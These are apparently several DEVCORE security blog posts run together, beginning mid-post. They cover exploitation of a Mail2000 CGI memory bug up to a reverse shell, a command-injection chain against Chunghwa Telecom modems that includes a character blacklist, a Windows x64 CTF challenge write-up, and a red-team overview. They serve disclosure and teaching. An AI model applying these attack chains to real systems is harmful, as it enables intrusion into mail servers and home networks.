這個陣列為全域變數 g_stCGIEnv 中的 param,在存入 param 陣列時,並沒有檢查是否已超過宣告的陣列大小,就造成了越界寫入。

需要注意的是,param 陣列所儲存的結構為指向字串位置的指標,而非字串本身

struct param
{
    char *key;
    char *value;
    int flag;
};

因此當觸發越界寫入時,寫入記憶體的值也是一個個指向字串的指標,而被指向的字串內容則是造成溢出的參數。

漏洞利用

要利用越界寫入的漏洞,就要先了解利用這個溢出可以做到什麼,發生溢出的全域變數結構如下:

00000000 CGIEnv          struc ; (sizeof=0x6990, mappedto_95)
00000000 buf             dd ?                    ; offset
00000004 length          dd ?
00000008 field_8         dd 6144 dup(?)          ; offset
00006008 param_arr       param 200 dup(?)
00006968 file_vec        dd ?                    ; offset
0000696C vec_len         dd ?
00006970 vec_cur_len     dd ?
00006974 arg_cnt         dd ?
00006978 field_6978      dd ?
0000697C errcode         dd ?
00006980 method          dd ?
00006984 is_multipart    dd ?
00006988 read_func       dd ?
0000698C field_698C      dd ?
00006990 CGIEnv          ends

溢出的陣列為其中的param_arr,因此在其之後的變數皆可能被覆寫。包括post_filesvec_lenvec_cur_lenarg_cnt … 等等。其中最吸引我注意的是file_vec這個變數,這是一個用來管理 POST 上傳檔案的 vector,大部分的 vector 結構像是這樣: 使用 size 記錄陣列的總長度,end 記錄目前用到哪裡,這樣就可以在容量不夠的時候進行擴充。我們若利用漏洞,使溢出的指標覆蓋 vector 的指標,就有可能有效的利用!藉由覆蓋這個 vector 指標,我們可以達到偽造一個 POST file,及其中所有相關變數的效果,而這個 POST file 結構裡面就包含了各種常見的檔案相關變數,像是路徑、檔名,和 Linux 中用來管理檔案的 FILE 結構,而 FILE 結構便是這次的攻擊的關鍵!

FILE Structure Exploit

這次的攻擊使用了 FILE structure exploit 的手法,是近幾年較新發現的攻擊手法,由 angelboy 在 HITCON CMT 公開[1]

FILE 結構是 Linux 中用來做檔案處理的結構,像是 STDINSTDOUTSTDERR,或者是呼叫 fopen 後回傳的結構都是 FILE。而這個結構之所以能成為漏洞利用的突破口主要原因就是它所包含的 vtable 指標:

struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};

vtable 當中記錄了各種 function pointer,對應各種檔案處理相關的功能:

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    /* ... */
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    /* ... */
};

因此如果我們可以篡改、偽造這個 vtable 的話,就可以在程式做檔案處理的時候,劫持程式流程!我們可以以此訂出以下的攻擊步驟:

  1. 建立連線,呼叫 CGI
  2. 使用大量參數,覆寫 vector 指標
  3. 偽造 POST file 當中的 FILE*,指向一塊偽造的 FILE 結構
  4. 在 CGI 流程中呼叫 FILE 相關的操作
    • fread, fwrite, fclose, …
  5. 劫持程式流程

我們現在已經知道終點是呼叫一個 FILE 操作,那麼就可以開始往回找哪個 function 是 CGI 常用的 FILE 操作,又有哪一些 CGI 可以作為入口點,才能串出我們的攻擊鏈!我們首先對使用到 POST file 的相關函式做研究,並選定了目標 MCGI_VarClear()MCGI_VarClear() 在許多用到 FILE 的 CGI 中有被呼叫,它用於在程式結束前將 g_stCGIEnv 清空,包括將動態配置的記憶體 free() 掉,以及將所有 FILE 關閉,也就是呼叫 fclose(),也意味著是可以通過 vtable 被劫持的!我們可以使用這個越界寫入漏洞蓋掉 file_vec,而指向的內容就是 HTTP request 的參數,便可以偽造為 POST files!像是下面這個結構:

我們的最終目標就是將 FILE* 指向偽造的結構,藉由偽造的 vtable 劫持程式流程!這時候便出現了一個問題,我們需要將 FILE* 這個指標指向一個內容可控的位置,但是其實我們並不知道該指到哪裡去,會有這個問題是起因於 Linux 上的一個防禦機制 - ASLR。

Address Space Layout Randomization (ASLR)

ASLR 使得每次程式在執行並載入記憶體時,會隨機載入至不同的記憶體位置,我們可以嘗試使用 cat /proc/self/maps 觀察每一次執行時的記憶體位置是否相同: ASLR 在大部分的環境中都是預設開啟的,因此在撰寫 exploit 時,常遇到可以偽造指標,卻不知道該指到哪裡的窘境。 而這個機制在 CGI 的架構下會造成更大的阻礙,一般的伺服器的攻擊流程可能是這樣: 可以在一個連線當中 leak address 並用來做進一步的攻擊,但在 CGI 架構中卻是這樣: 在這個情況下,leak 得到的 address 是無法在後續攻擊中使用的!因為 CGI 執行完就結束了,下一個 request 又是全新的 CGI! 為了應對這個問題,我們最後寫了兩個 exploit,攻擊的手法根據 CGI binary 而有不同。

Post-Auth RCE - /cgi-bin/msg_read

第一個 exploit 的入口點是一個需要登入的頁面,這一隻程式較大、功能也較多。在這一個 exploit 中,我們使用了 heap spray 的手法來克服 ASLR,也就是在 heap 中填入大量重複的物件,如此一來我們就有很高的機率可以到它的位置。 而 spray 的內容就是大量偽造好的 FILE 結構,包含偽造的 vtable。從這隻 binary 中,我們找到了一個十分實用的 gadget,也就是小程式片段:

xchg eax, esp; ret

這個 gadget 的作用在於,我們可以改變 stack 的位置,而剛好此時的 eax 指向內容是可控的,因此整個 stack 的內容都可以偽造,也就是說我們可以使用 ROP(Return-oriented programming) 來做利用!於是我們在偽造的 vtable 中設置了 stack 搬移的 gadget 以及後續利用的 ROP 攻擊鏈,進行 ROP 攻擊!

我們可以做 ROP,也就可以拿 shell 了對吧!你以為是這樣嗎?不,其實還有一個大問題,同樣導因於前面提到的防禦機制 ASLR – 我們沒有 system 的位置!這隻 binary 本身提供的 gadget 並不足以開啟一個 shell,因此我們希望可以直接利用 libc 當中的 system 來達成目的,但正如前面所提到的,記憶體位置每次載入都是隨機化的,我們並不知道 system 的確切位置! 經過我們仔細的觀察這支程式以後,我們發現了一件非常特別的事,這隻程式理論上是有打開 NX,也就是可寫段不可執行的保護機制 但是實際執行的時候,stack 的執行權限卻會被打開! 不論原因為何,這個設置對駭客來說是非常方便的,我們可以利用這個可執行段,將 shellcode 放上去執行,就可以成功得到 shell,達成 RCE!

然而,這個攻擊是需要登入的,對於追求完美的 DEVCORE 研究組來說,並不足夠!因此我們更進一步的研究了其它攻擊路徑!

Pre-Auth RCE - /cgi-bin/cgi_api

在搜索了所有 CGI 入口點以後,我們找到了一個不需要登入,同時又會呼叫 MCGI_VarClear() 的 CGI – /cgi-bin/cgi_api。一如其名,它就是一隻呼叫 API 的接口,因此程式本身非常的小,幾乎是呼叫完 library 就結束了,也因此不再有 stack pivot 的 gadget 可以利用。 這時,由於我們已經得知 stack 是可執行的,因此其實我們是可以跳過 ROP 這個步驟,直接將 shellcode 放置在 stack 上的,這裡利用到一個 CGI 的特性 – HTTP 的相關變數會放在環境變數中,像是下列這些常見變數:

  • HTTP_HOST
  • REQUEST_METHOD
  • QUERY_STRING

而環境變數事實上就是被放置在 stack 的最末端,也就是可執行段的位置,因此我們只要偽造 vtable 直接呼叫 shellcode 就可以了!

當然這時候同樣出現了一個問題:我們仍舊沒有 stack 的記憶體位置。這個時候有些人可能會陷入一個迷思,覺得攻擊就是要一次到位,像個狙擊手一樣一擊必殺,但實際上可能是這樣拿機關槍把敵人炸飛:

換個角度思考,這隻 binary 是 32 bits 的,因此這個位置有 1.5bytes 是隨機的,總共有 163 個可能的組合,所以其實平均只要 4096 次請求就可以撞到一次!這對於現在的電腦、網路速度來說其實也就是幾分鐘之間的事情,因此直接做暴力破解也是可行的!於是我們最終的 exploit 流程就是:

  1. 發送 POST 請求至 cgi_api
    • QUERY_STRING 中放入 shellcode
  2. 觸發越界寫入,覆蓋 file_vec
    • 在越界的參數準備偽造的 FILE & vtable
  3. cgi_api 結束前呼叫 MCGI_VarClear
  4. 跳至 vtable 上的 shellcode 位置,建立 reverse shell

最後我們成功寫出了不用認證的 RCE 攻擊鏈,並且這個 exploit 是不會因為 binary 的版本不同而受影響的!而在實際遇到的案例中也證明了這個 exploit 的可行性,我們曾在一次的演練當中,藉由 Mail2000 的這個 1day 作為突破口,成功洩漏目標的 VPN 資料,進一步往內網滲透!

漏洞修復

此漏洞已在 2018/05/08 發布的 Mail2000 V7 Patch 050 版本中完成修復。Patch 編號為 OF-ISAC-18-002、OF-ISAC-18-003。

後記

最後想來談談對於這些漏洞,廠商該用什麼樣的心態去面對。作為一個提供產品的廠商,Openfind 在這一次的漏洞處理中有幾個關鍵值得學習:

  • 心態開放
    • 主動提供測試環境
  • 積極修復漏洞
    • 面對漏洞以積極正向的態度,迅速處理
    • 修復完畢後,與提報者合作驗證
  • 重視客戶安全
    • 發布重大更新並主動通報客戶、協助更新

其實產品有漏洞是很正常也很難避免的事,而我們研究組是作為一個協助者的角色,期望能藉由回報漏洞幫助企業,提高資安意識並增進台灣的資安水平!希望廠商們也能以正向的態度來面對漏洞,而不是閃躲逃避,這樣只會令用戶們陷入更大的資安風險當中!

而對於使用各項設備的用戶,也應當掌握好屬於自己的資產,防火牆、伺服器等產品並不是購買來架設好以後就沒有問題了,做好資產盤點、追蹤廠商的安全性更新,才能確保產品不受到 1day 的攻擊!而定期進行滲透測試以及紅隊演練,更是可以幫助企業釐清自己是否有盲點、缺失,進而改善以降低企業資安風險。

你用它上網,我用它進你內網! 中華電信數據機遠端代碼執行漏洞

10 November 2019 at 16:00

大家好,我是 Orange! 這次的文章,是我在 DEVCORE CONFERENCE 2019 上所分享的議題,講述如何從中華電信的一個設定疏失,到串出可以掌控數十萬、甚至數百萬台的家用數據機漏洞!


前言

身為 DEVCORE 的研究團隊,我們的工作就是研究最新的攻擊趨勢、挖掘最新的弱點、找出可以影響整個世界的漏洞,回報給廠商避免這些漏洞流至地下黑市被黑帽駭客甚至國家級駭客組織利用,讓這個世界變得更加安全!

把「漏洞研究」當成工作,一直以來是許多資訊安全技術狂熱份子的夢想,但大部分的人只看到發表漏洞、或站上研討會時的光鮮亮麗,沒注意到背後所下的苦工,事實上,「漏洞研究」往往是一個非常樸實無華,且枯燥的過程。

漏洞挖掘並不像 Capture the Flag (CTF),一定存在著漏洞以及一個正確的解法等著你去解出,在題目的限定範圍下,只要根據現有的條件、線索去推敲出題者的意圖,十之八九可以找出問題點。 雖然還是有那種清新、優質、難到靠北的比賽例如 HITCON CTF 或是 Plaid CTF,不過 「找出漏洞」 與 「如何利用漏洞」在本質上已經是兩件不同的事情了!

CTF 很適合有一定程度的人精進自己的能力,但缺點也是如果經常在限制住的小框框內,思路及眼界容易被侷限住,真實世界的攻防往往更複雜、維度也更大! 要在一個成熟、已使用多年,且全世界資安人員都在關注的產品上挖掘出新弱點,可想而知絕對不是簡單的事! 一場 CTF 競賽頂多也就 48 小時,但在無法知道目標是否有漏洞的前提下,你能堅持多久?

在我們上一個研究中,發現了三個知名 SSL VPN 廠商中不用認證的遠端代碼執行漏洞,雖然成果豐碩,但也是花了整個研究組半年的時間(加上後續處理甚至可到一年),甚至在前兩個月完全是零產出、找不到漏洞下持續完成的。 所以對於一個好的漏洞研究人員,除了綜合能力、見識多寡以及能否深度挖掘外,還需要具備能夠獨立思考,以及興趣濃厚到耐得住寂寞等等特質,才有辦法在高難度的挑戰中殺出一條血路!

漏洞研究往往不是一間公司賺錢的項目,卻又是無法不投資的部門,有多少公司能夠允許員工半年、甚至一年去做一件不一定有產出的研究? 更何況是將研究成果無條件的回報廠商只是為了讓世界更加安全? 這也就是我們 DEVCORE 不論在滲透測試或是紅隊演練上比別人來的優秀的緣故,除了平日軍火庫的累積外,當遇到漏洞時,也會想盡辦法將這個漏洞的危害最大化,利用駭客思維、透過各種不同組合利用,將一個低風險漏洞利用到極致,這也才符合真實世界駭客對你的攻擊方式!


影響範圍

故事回到今年初的某天,我們 DEVCORE 的情資中心監控到全台灣有大量的網路地址開著 3097 連接埠,而且有趣的是,這些地址並不是什麼伺服器的地址,而是普通的家用電腦。 一般來說,家用電腦透過數據機連接上網際網路,對外絕不會開放任何服務,就算是數據機的 SSH 及 HTTP 管理介面,也只有內部網路才能訪問到,因此我們懷疑這與 ISP 的配置失誤有關! 我們也成功的在這個連接埠上挖掘出一個不用認證的遠端代碼執行漏洞! 打個比喻,就是駭客已經睡在你家客廳沙發的感覺!

透過這個漏洞我們可以完成:

  1. 竊聽網路流量,竊取網路身分、PTT 密碼,甚至你的信用卡資料
  2. 更新劫持、水坑式攻擊、內網中繼攻擊去控制你的電腦甚至個人手機
  3. 結合紅隊演練去繞過各種開發者的白名單政策
  4. 更多更多…

而相關的 CVE 漏洞編號為:


相較於以往對家用數據機的攻擊,這次的影響是更嚴重的! 以往就算漏洞再嚴重,只要家用數據機對外不開放任何連接埠,攻擊者也無法利用,但這次的漏洞包含中華電信的配置失誤,導致你家的數據機在網路上裸奔,攻擊者僅僅 「只要知道你的 IP 便可不需任何條件,直接進入你家內網」,而且,由於沒有數據機的控制權,所以這個攻擊一般用戶是無法防禦及修補的!


經過全網 IPv4 的掃瞄,全台灣約有 25 萬台的數據機存在此問題,「代表至少 25 萬個家庭受影響」,不過這個結果只在 「掃描當下有連上網路的數據機才被納入統計」,所以實際受害用戶一定大於這個數字!

而透過網路地址的反查,有高達九成的受害用戶是中華電信的動態 IP,而剩下的一成則包含固定制 IP 及其他電信公司,至於為何會有其他電信公司呢? 我們的理解是中華電信作為台灣最大電信商,所持有的資源以及硬體設施也是其他電信商遠遠不及的,因此在一些比較偏僻的地段可能其他電信商到使用者的最後一哩路也還是中華電信的設備! 由於我們不是廠商,無法得知完整受影響的數據機型號列表,但筆者也是受害者 ╮(╯_╰)╭,所以可以確定最多人使用的中華電信光世代 GPON 數據機 也在受影響範圍內!

(圖片擷自網路)


漏洞挖掘

只是一個配置失誤並不能說是什麼大問題,所以接下來我們希望能在這個服務上挖掘出更嚴重的漏洞! 軟體漏洞的挖掘,根據原始碼、執行檔以及 API 文件的有無可依序分為:

  • 黑箱測試
  • 灰箱測試
  • 白箱測試

在什麼都沒有的的狀況下,只能依靠經驗以及對系統的了解去猜測每個指令背後的實作、並找出漏洞。

黑箱測試

3097 連接埠提供了許多跟電信網路相關的指令,推測是中華電信給工程師遠端對數據機進行各種網路設定的除錯介面!


其中,可以透過 HELP 指令列出所有功能,其中我們發現了一個指令叫做 MISC ,看名字感覺就是把一堆不知道怎麼分類的指令歸類在這,而其中一個叫做 SCRIPT 吸引了我們! 它的參數為一個檔案名稱,執行後像是會把檔案當成 Shell Script 來執行,但在無法在遠端機器留下一個可控檔案的前提下,也無法透過這個指令取得任意代碼執行。 不過有趣的是,MISC SCRIPT 這個指令會將 STDERR 給顯示出來,因此可以透過這個特性去完成任意檔案讀取!


從黑箱進化成灰箱

在漏洞的利用上,無論是記憶體的利用、或是網路的滲透,不外乎都圍繞著對目標的讀(Read)、 寫(Write) 以及代碼執行(eXecute) 三個權限的取得,現在我們取得了第一個讀的權限,接下來呢?

除錯介面貌似跑在高權限使用者下,所以可以直接透過讀取系統密碼檔得到系統使用者管理登入的密碼雜湊!


透過對 root 使用者密碼雜湊的破解,我們成功的登入數據機 SSH 將「黑箱」轉化成「灰箱」! 雖然現在可以成功控制自己的數據機,但一般家用數據機對外是不會開放 SSH 服務的,為了達到可以「遠端」控制別人的數據機,我們還是得想辦法從 3097 這個服務拿到代碼的執行權限。


整個中華電信的數據機是一個跑在 MIPS 處理器架構上的嵌入式 Linux 系統,而 3097 服務則是由一個在 /usr/bin/omcimain 的二進位檔案來處理,整個檔案大小有將近 5MB,對逆向工程來說並不是一個小數目,但與黑箱測試相較之下,至少有了東西可以分析了真棒!

$ uname -a
Linux I-040GW.cht.com.tw 2.6.30.9-5VT #1 PREEMPT Wed Jul 31 15:40:34 CST 2019
[luna SDK V1.8.0] rlx GNU/Linux

$ netstat -anp | grep 3097
tcp        0      0 127.0.0.1:3097          0.0.0.0:*               LISTEN

$ ls -lh /usr/bin/omcimain
-rwxr-xr-x    1 root   root        4.6M Aug  1 13:40 /usr/bin/omcimain

$ file /usr/bin/omcimain
ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked


從灰箱進化成白箱

現在,我們可以透過逆向工程了解每個指令背後的原理及實作了! 不過首先,逆向工程是一個痛苦且煩悶的經過,一個小小的程式可能就包含幾萬、甚至十幾萬行的組合語言代碼,因此這時挖洞的策略就變得很重要! 從功能面來看,感覺會存在命令注入相關的漏洞,因此先以功能實作為出發點開始挖掘!

整個 3097 服務的處理核心其實就是一個多層的 IF-ELSE 選項,每一個小框框對應的一個功能的實作,例如 cli_config_cmdline 就是對應 CONFIG 這條指令,因此我們搭配著 HELP 指令的提示一一往每個功能實作挖掘!


研究了一段時間,並沒有發現到什麼嚴重漏洞 :( 不過我們注意到,當所有指命都匹配失敗時,會進入到了一個 with_fallback 的函數,這個函數的主要目的是把匹配失敗的指令接到 /usr/bin/diag 後繼續執行!


with_fallback 大致邏輯如下,由於當時 Ghidra 尚未出現,所以這份原始碼是從閱讀 MIPS 組合語言慢慢還原回來的! 其中 s1 為輸入的指令,如果指令不在定義好的列表內以及指令中出現問號的話,就與 /usr/bin/diag 拼湊起來丟入 system 執行! 理所當然,為了防止命令注入等相關弱點,在丟入 system 前會先根據 BLACKLISTS 的列表檢查是否存在有害字元。

  char *input = util_trim(s1);
  if (input[0] == '\0' || input[0] == '#')
      return 0;

  while (SUB_COMMAND_LIST[i] != 0) {
      sub_cmd = SUB_COMMAND_LIST[i++];
      if (strncmp(input, sub_cmd, strlen(sub_cmd)) == 0)
          break;
  }

  if (SUB_COMMAND_LIST[i] == 0 && strchr(input, '?') == 0)
      return -10;

  // ...

  while (BLACKLISTS[i] != 0) {
      if (strchr(input, BLACKLISTS[i]) != 0) {
          util_fdprintf(fd, "invalid char '%c' in command\n", BLACKLISTS[i]);
          return -1;
      }
      i++;
  }

  snprintf(file_buf,  64, "/tmp/tmpfile.%d.%06ld", getpid(), random() % 1000000);
  snprintf(cmd_buf, 1024, "/usr/bin/diag %s > %s 2>/dev/null", input, file_buf);
  system(cmd_buf);


BLACKLISTS 定義如下:

char *BLACKLISTS = "|<>(){}`;";

如果是你的話,能想到如何繞過嗎?






答案很簡單,命令注入往往就是這麼的簡單且樸實無華!


這裡我們示範了如何從 PTT 知道受害者 IP 地址,到進入它數據機實現真正意義上的「指哪打哪」!



後記

故事到這邊差不多進入尾聲,整篇文章看似輕描淡寫,描述一個漏洞從發現到利用的整個經過,從結果論來說也許只是一個簡單的命令注入,但實際上中間所花的時間、走過的歪路是正在讀文章的你無法想像的,就像是在黑暗中走迷宮,在沒有走出迷宮前永遠不會知道自己正在走的這條路是不是通往目的正確道路!

挖掘出新的漏洞,並不是一件容易的事,尤其是在各式攻擊手法又已趨於成熟的今天,要想出全新的攻擊手法更是難上加難! 在漏洞研究的領域上,台灣尚未擁有足夠的能量,如果平常的挑戰已經滿足不了你,想體驗真實世界的攻防,歡迎加入與我們一起交流蕉流 :D


通報時程

  • 2019 年 07 月 28 日 - 透過 TWCERT/CC 回報中華電信
  • 2019 年 08 月 14 日 - 廠商回覆清查並修補設備中
  • 2019 年 08 月 27 日 - 廠商回覆九月初修補完畢
  • 2019 年 08 月 30 日 - 廠商回覆已完成受影響設備的韌體更新
  • 2019 年 09 月 11 日 - 廠商回覆部分用戶需派員更新, 延後公開時間
  • 2019 年 09 月 23 日 - 與 TWCERT/CC 確認可公開
  • 2019 年 09 月 25 日 - 發表至 DEVCORE CONFERENCE 2019
  • 2019 年 11 月 11 日 - 部落格文章釋出

BFS Ekoparty 2019 Exploitation Challenge - Override Banking Restrictions to get US Dollars

27 October 2019 at 10:48

FROM CRASH TO CODE EXECUTION

this is my first time giving a try into a windows x64 bits , and challenges offered by blue frost security

I’ve decided to give the 2019 BFS Exploitation Challenge a try. It is a Windows 64 bit executable\ for which an exploit is expected to work under Windows 10 Redstone 6

The Rules

  1. Bypass ASLR remotely
  2. 64-bit version exploitation
  3. Remote Execution

Inital Steps

we were given a windows binary only . this made me think, I cannot use any fuzzing technique because I dont know if it’s local or remote . let’s try doing some reverse engineering before, So I can understand what it is really doing.

Navigating through the main function , we notice that it is a remote application which listen to 54321

server

Identifying the Vulnerability

by disassembly the function , it is obvious that some checks need to bypassed in order to send send our payload correctly

checks

  1. if ( v6 == 16i64 )
  2. if ( *(_QWORD *)buf == ‘0x393130326F6B45’ )
  3. strcpy(buf, “Eko2019”);
  4. if ( size_data <= 512 )
  5. if ( (signed int)size_data % 8 )

the first validation our application is checking if our payload is equal to 16 bytes , then if buf is equal to 0x393130326F6B45 which trasnalte into 9102okE in hex. there is a strcpy that copy at the end of our payload Eko2019 , but we also have a size data validation which\ we cannot send more than 512 bytes , and it needs to be aligned correctly for 8 bytes. meaning we could send 8,16,24 so on

the “jle” instruction indicates a signed integer comparison, but later passed as unsigned which lead us an integer overflow

checks

after we successfully send a bigger payload, I notice it crashes after sending 229 bytes , but before that there is a instruction lea rcx, unk_7FF6A8A9E520, but what unk_7FF6A8A9E520 is holding or doing? after inspectioning deeper about this unk_7FF6A8A9E520 . we found there is an array with an offset of 256 with this structure

array_ret

the functionsub_7FF6A8A91000 will return our byte + 488B01C3C3C3C3h in this case 41 48 8B 01 C3 C3 C3 C3

this value will basically be used in the WriteProcessMemory(v2, sub_7FF7DD111000, &Buffer, 8ui64, &NumberOfBytesWritten); as buffer these to the function sub_7FF6A8A91000 as instructions allowing to control what we can execute when we reach it.

overwrite

we could see rax , and rcx was overwritten , but however rax was overwritten only one byte from the lower bytes, and rcx overwrite completely causing an access violation

.text:00007FF7DD111000 arg_0= qword ptr  8
.text:00007FF7DD111000
.text:00007FF7DD111000 db      42h
.text:00007FF7DD111000 mov     rax, [rcx]
.text:00007FF7DD111004 retn

why does this happen?

there’s a reason

  1. because of the value of the pointer of RCX that you control

Strategy

In order to bypass ASLR, we need to cause the server to leak an address that belongs to its process space. Fortunately, there is a call to the send() function , which sends 8 bytes of data, so exactly the size of a pointer in 64 bit land. That should serve our purpose just fine.

          qword_7FF7DD11D4E0 = printf(aRemoteMessageI, (unsigned int)counter_conection, &Dst);
          ++counter_conection;
          Buffer = what_the_heck_do(array[byte % -256]);
          v2 = GetCurrentProcess();
          WriteProcessMemory(v2, sub_7FF7DD111000, &Buffer, 8ui64, &NumberOfBytesWritten);
          *(_QWORD *)v3 = sub_7FF7DD111000(v9);
          send(s, v3, 8, 0);
          result = 1i64;

The strategy is getting control of the “byte” variable Luckily, it is a stack variable adjacent to the “size_data[512]” other than the default one at index 62 (0x3e).

I wrote a simple script to find gadgets in order to leak data from the running process

for i in $(cat file); do echo -e "\n$i" && rasm2 -b -D $i;done

after sometime research how I can read some information about the running process . I found what I could read via gs(segment register) because of x64 bits

0x65488B01C3C3C3C3
0x00000000   4                 65488b01  mov rax, qword gs:[rcx]
0x00000004   1                       c3  ret
0x00000005   1                       c3  ret
0x00000006   1                       c3  ret
0x00000007   1                       c3  ret

So this special register which could lead us to read _PEB , and our peb offset is at +0x060 ProcessEnvironmentBlock : Ptr64 _PEB via dt ntdll!_TEB

preparing our exploit

Leaking the PEB

  1. 0x65 = mov rax, qword gs:[rcx]
  2. 0x060 = _PEB
WINDBG>dt ntdll!_TEB
   +0x000 NtTib            : _NT_TIB
   +0x038 EnvironmentPointer : Ptr64 Void
   +0x040 ClientId         : _CLIENT_ID
   +0x050 ActiveRpcHandle  : Ptr64 Void
   +0x058 ThreadLocalStoragePointer : Ptr64 Void
   +0x060 ProcessEnvironmentBlock : Ptr64 _PEB
   +0x068 LastErrorValue   : Uint4B
   +0x06c CountOfOwnedCriticalSections : Uint4B
   +0x070 CsrClientThread  : Ptr64 Void
   +0x078 Win32ThreadInfo  : Ptr64 Void
   +0x080 User32Reserved   : [26] Uint4B

in order to make our exploit to leak the data . we need to find a way to derefence rcx with our _PEB offset\ So we can leak our PEB address to start leaking data to bypass ASLR

leak_peb

Leaking the ImageBaseAddress

WINDBG>dt ntdll!_PEB
   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 BitField         : UChar
   +0x003 ImageUsesLargePages : Pos 0, 1 Bit
   +0x003 IsProtectedProcess : Pos 1, 1 Bit
   +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
   +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
   +0x003 IsPackagedProcess : Pos 4, 1 Bit
   +0x003 IsAppContainer   : Pos 5, 1 Bit
   +0x003 IsProtectedProcessLight : Pos 6, 1 Bit
   +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
   +0x004 Padding0         : [4] UChar
   +0x008 Mutant           : Ptr64 Void
   +0x010 ImageBaseAddress : Ptr64 Void this our value we want to leak now 
   +0x018 Ldr              : Ptr64 _PEB_LDR_DATA
   +0x020 ProcessParameters : Ptr64 _RTL_USER_PROCESS_PARAMETERS
   +0x028 SubSystemData    : Ptr64 Void
   +0x030 ProcessHeap      : Ptr64 Void
   +0x038 FastPebLock      : Ptr64 _RTL_CRITICAL_SECTION
   +0x040 AtlThunkSListPtr : Ptr64 _SLIST_HEADER
   +0x048 IFEOKey          : Ptr64 Void
   +0x050 CrossProcessFlags : Uint4B
   ....snip

Code execution

overwrite

DEVCORE 紅隊的進化,與下一步

23 October 2019 at 16:00

前言

「紅隊演練」近年來漸漸開始被大家提及,也開始有一些廠商推出紅隊服務。不過關於在台灣紅隊是怎麼做的就比較少人公開分享,身為第一個在台灣推紅隊演練的公司,我想就根據這兩年多來的實戰經驗,分享為什麼我們要做紅隊、我們面臨到的問題、以及在我們心中認為紅隊成員應該具備的特質。最後再分享我們現階段看到的企業資安問題,期望未來我們也可以透過紅隊演練來幫助企業補足那些問題。

這一篇是我在 DEVCORE CONFERENCE 2019 所分享的主題。研討會事前調查想聽內容時有些朋友希望我們能介紹 DEVCORE 的紅隊,還有運作方式和案例,所以我抽出一些素材整理成這場演講。下面是投影片連結,其中有些內部系統畫面不對外公開,僅在研討會分享敬請見諒。

DEVCORE 紅隊的進化,與下一步 - Shaolin (DEVCORE CONF 2019)

為什麼要紅隊演練?

一言以蔽之,就是我們漸漸體會到:對大企業而言,單純的滲透測試並不是最有效益的。從過去上百次滲透測試經驗中,我們往往能在專案初期的偵查階段,發現企業邊界存在嚴重弱點,進而進入內網繞過層層防禦攻擊主要目標。越是龐大的企業,這種狀況會越明顯,因為他們通常有很多對外的網站、網路設備,每一個都可能是風險,即使主要網站防護很完備,駭客只需要從這麼多目標中找到一個問題,就可以對企業造成傷害。今天就算企業對每個服務都獨立做了一次滲透測試,在真實世界中,還是有可能從第三方服務、廠商供應鏈、社交工程等途徑入侵。所以有可能投注很多資源做測試,結果還是發生資安事件。

於是,我們推出了紅隊演練,希望透過真實的演練幫助企業找到整體架構中脆弱的地方。因此,這個服務關注的是企業整體的安全性,而不再只是單一的網站。

紅隊演練目標通常是一個情境,例如:駭客有沒有辦法取得民眾個資甚至是信用卡卡號?在演練過程中紅隊會無所不用其極的嘗試驗證企業在乎的情境有沒有可能發生。以剛剛的例子來說,我們會想辦法找到一條路徑取得存放這些訊息的資料庫,去驗證有沒有辦法取得個資及卡號。一般來說,卡號部分都會經過加密,因此在拿下資料庫後我們也會嘗試看看有沒有辦法還原這些卡號。有時候除了找到還原的方法,我們甚至會在過程中發現其他路徑可取得卡號,可能是工程師的 debug 資訊會記錄卡號,或是備份檔在 NAS 裡面有完整卡號,這些可能是連資安負責人都不知道的資訊,也是企業評估風險的盲點。

到這邊,紅隊演練的效益就很明顯了,紅隊能協助企業全盤評估潛在的重大風險,不再像過去只是單一面向的測試特定網站。除了找到弱點,紅隊更在乎幫企業驗證入侵的可行性,方便企業評估風險以及擬定防禦策略。最後,紅隊往往也能夠在演練過程當中找出企業風險評估忽略的地方,例如剛剛例子提到的備份 NAS,就可能是沒有列入核心系統但又相當重要的伺服器,這一塊也是 DEVCORE 這幾年來確實幫助到客戶的地方。

DEVCORE 紅隊的編制

基本上,DEVCORE 的紅隊成員都是可以獨當一面的,在執行一般專案時成員間並沒有顯著差異。但在演練範圍比較大的狀況下,就會開始有明顯的分工作業,各組也會專精技能增加團隊效率。目前我們的編制共分為五組:

簡單介紹職責如下:

  • Intelligence (偵查),負責情報偵查,他們會去收集跟目標有關的所有資訊,包括 IP 網段、網站個別使用的技術,甚至是洩漏的帳號密碼。
  • Special Force (特攻),有比較強大的攻擊能力,主要負責打破現況,例如攻下第一個據點、拿下另一個網段、或是主機的提權。
  • Regular Army (常規),負責拿下據點後掃蕩整個戰場,嘗試橫向移動,會盡量多建立幾個據點讓特攻組有更多資源朝任務目標邁進。
  • Support (支援),重要的後勤工作,維持據點的可用性,同時也要觀察記錄整個戰況,最清楚全局戰況。
  • Research (研究),平時研究各種在紅隊中會用到的技術,演練時期碰到具戰略價值的系統,會投入資源開採 0-day。

DEVCORE 紅隊的進化

所謂的進化,就是碰到了問題,想辦法強化並且解決,那我們遇到了哪些問題呢?

如何找到一個突破點?

這是大家最常碰到的問題,萬事起頭難,怎麼樣找到第一個突破點?這個問題在紅隊演練當中難度會更高,因為有規模的企業早已投入資源在資安檢測和防護上,我們要怎麼樣從層層防禦當中找到弱點?要能找到別人找不到的弱點,測試思維和方法一定要跟別人不一樣。於是,我們投入資源在偵查、特攻、研究組:偵查部分研究了不同的偵查方法和來源,並且開發自己的工具讓偵查更有效率;我們的特攻組也不斷強化自己的攻擊能力;最重要的,我們讓研究人員開始針對我們常碰到的目標進行研究,開發紅隊會用到的工具或技巧。

